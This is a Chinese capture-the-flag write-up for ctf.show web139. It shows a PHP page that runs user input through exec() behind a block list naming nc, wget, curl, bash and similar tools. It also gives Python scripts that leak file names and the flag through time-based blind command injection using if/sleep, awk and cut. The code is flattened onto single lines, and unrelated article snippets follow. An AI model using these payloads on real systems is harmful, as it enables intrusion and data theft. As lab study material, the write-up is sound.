web139笔记(过if和sleep来判断盲注)

<?php
error_reporting(0);
function check($x){if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){die('too young too simple sometimes naive!');}
}
if(isset($_GET['c'])){$c=$_GET['c'];check($c);exec($c);
}
else{highlight_file(__FILE__);
}
?>
web136 plus?
通过尝试之前的操作,发现再次访问时⻚⾯还是在当前⻚⾯,所以猜测⽆法写⼊⽂件了
这⾥涉及到了shell编程和盲注。其实就相当于盲注⽂件名字和⽂件内容
截取字符串可以⽤awk等命令,cut可以分割字符 判断命令执⾏结果可以⽤shell编程的if语句和sleep()函数
这⾥来实验⼀下,⾸先在当前⽬录写⼊⼀个flag.php
this is flag.php
your flag is:
flag{test_a_flag}
使⽤awk,再使⽤cut命令切割,然后通过if和sleep来判断,因此可以写出脚本。
cat flag.php |awk NR=3                                         cat flag.php | awk NR=3 | cut -c 1
flag{test_a_flag}                       f
 用命令ls \查看根目录来获取flag文件名,脚本如下
#-- coding:UTF-8 --
# Author:dota_st
# Date:2021/2/28 1:25
# blog: www.wlhhlc.top
import requests
url = "http://1bb8ea48-6413-47ef-94bb-8dd313c14c9e.chall.ctf.show:8080/"
result = ""
for i in range(1,5):for j in range(1,15):#ascii码表for k in range(32,128):k=chr(k)payload = "?c=" + f"if [ `ls / | awk NR=={i} | cut -c {j}` == {k} ];then sleep 2;fi"try:requests.get(url=url+payload, timeout=(1.5,1.5))except:result = result + kprint(result)breakresult += " "

 

发现一个文件名是f149_15_h3r3的文件,flag就在这里边,那就改一下脚本cat一下

#-- coding:UTF-8 --
# Author:dota_st
# Date:2021/2/28 1:25
# blog: www.wlhhlc.top
import requests
url = "http://1bb8ea48-6413-47ef-94bb-8dd313c14c9e.chall.ctf.show:8080/"
result = ""
for j in range(1,60):#ascii码表for k in range(32,128):k=chr(k)payload = "?c=" + f"if [ `cat /f149_15_h3r3 | cut -c {j}` == {k} ];then sleep 2;fi"try:requests.get(url=url+payload, timeout=(1.5,1.5))except:result = result + kprint(result)break
result += " "

 

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/907587.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

App性能测试工具-solopi

Solopi 简介Solopi 是阿里的一款开源的APP测试工具,能对App进行UI自动化测试和性能测试,而且还能进行单台设备控制多台测试设备 的工具。在使用Solopi 时不用进行root权限,但需要连接到adb(android SDK提供的命令行工具)。因此在使用Solopi之前需要开启开发者权限。 Solop…

US104S-ASEMI电机驱动专用US104S

US104S-ASEMI电机驱动专用US104S编辑:LL US104S-ASEMI电机驱动专用US104S 型号:US104S 品牌:ASEMI 封装:TO-220F 栅极触发电压(Vgt):1.3V。 栅极触发电流(Igt):0.2mA。 保持电流最大值(Ih):30mA。 正向重复电压(Vdrm):800V。 反向重复电压(Vrrm):800V。 通态…

deepseek+dify工作流实现代码审计

一、登录dify,设置deepseek apikey登录dify(https://cloud.dify.ai/signin)设置deepseek apikey二、创建dify工作流添加工作流应用写工作流三、添加待检测源代码,审计源代码安全问题修改待检测源代码项目的文件名后缀点击运行添加文件列表到工作流中四、与传统检测方式对比…

macbook安装Redis

1.下载Redis: https://redis.io/downloads/ ,进入网站拉到最低下就能看到可以下载的版本。 2.下载后解压缩,进入文件输入命令:sudo make test 执行完后出下面的图,就可以证明安装环境没有问题: 3.然后执行命令:sudo make install, 下图是安装成功 安装成功后:启动redi…

开源免费真香!Star 1.4k 这款开源在线教育系统让万人学习零压力,企业培训系统一键搭建神器

PlayEdu 是一款基于 SpringBoot3 + Vue3 开发的开源企业培训系统,提供从课程管理、学员管理到考试测评嗨,大家好,我是小华同学,关注我们获得“最新、最全、最优质”开源项目和高效工作学习方法PlayEdu 是一款基于 SpringBoot3 + Vue3 开发的开源企业培训系统,提供从课程管…

【VMware Workstation】虚拟机如何与宿主机共享文件夹

本文主要介绍VMware Workstation的虚拟机和宿主机之间如何共享文件第1步,打开VMware Workstation,并找到虚拟机的设置第2步,在虚拟机设置的选项卡中,点击 共享文件夹 ,并参考如下设置第3步,在弹出的共享文件夹向导窗口中,点击下一步第4步,选择宿主机共享给虚拟机的文件…

征程 6E mipi tx 系列之方案介绍

MIPI TX 到车机显示系统设计指南 IDE 介绍 征程 6 IDE 架构图 IDE(Image Display Engine)包含图像显示单元(Image Display Unit)、图像数据输出模块(MIPI CSI2 Device 和 MIPI DSI)。通过 IDU 从内存中读取图像数据进行处理,在 IDE 内部支持像素格式转换和像素结构转换,…

文件夹实时同步软件,怎么实时同步备份文件夹呢?

文件夹实时同步软件是一种非常实用的工具,可以帮助用户在不同设备或存储位置之间实时同步文件夹内容,确保数据的一致性和安全性。以下是一些常用的文件夹实时同步软件及其使用方法:常用文件夹实时同步软件 80KM备份软件 简介:可以进行很复杂的备份方式,也可以内网对内网备…

UE5--005--Animation

1. BP_ThirdPersonGameMode2. Project Settings3. Project Settings

第三课 运算符

1.算数运算符 除法运算:整数相除,结果依然是整数,将小数部分舍弃;实数相除,结果依然是实数 取余运算:两个小数是不可以做取余运算的 前置和后置的区别:前置:先对变量操作,然后进行表达式运算 后置:先进行表达式运算,后对变量进行操作2.赋值运算符3.比较运算符cout &…

使用AOP技术实现Java通用接口验签工具

一、背景 在给第三方提供接口时,我们需要对接口进行验签。具体来说,当外部系统调用我们的接口时,请求中需要携带一个签名,我们接收到请求后,会解析数据并校验签名是否正确,以确保请求的合法性和安全性。为了在不同项目中方便地使用这一功能,我们将签名校验规则封装成一个…

TS学习-2

常用类型和语法 1.any 任意类型,⼀旦将变量类型限制为any,意味着放弃了对该变量的类型检查。 let a:any //以下赋值无警告 a=100 a=你好 a=false//隐式any let b注意:any类型的变量,可以赋值给任意类型的变量 let c:any c=9let x:string x=c //没有报错2.unknown 未知类型,…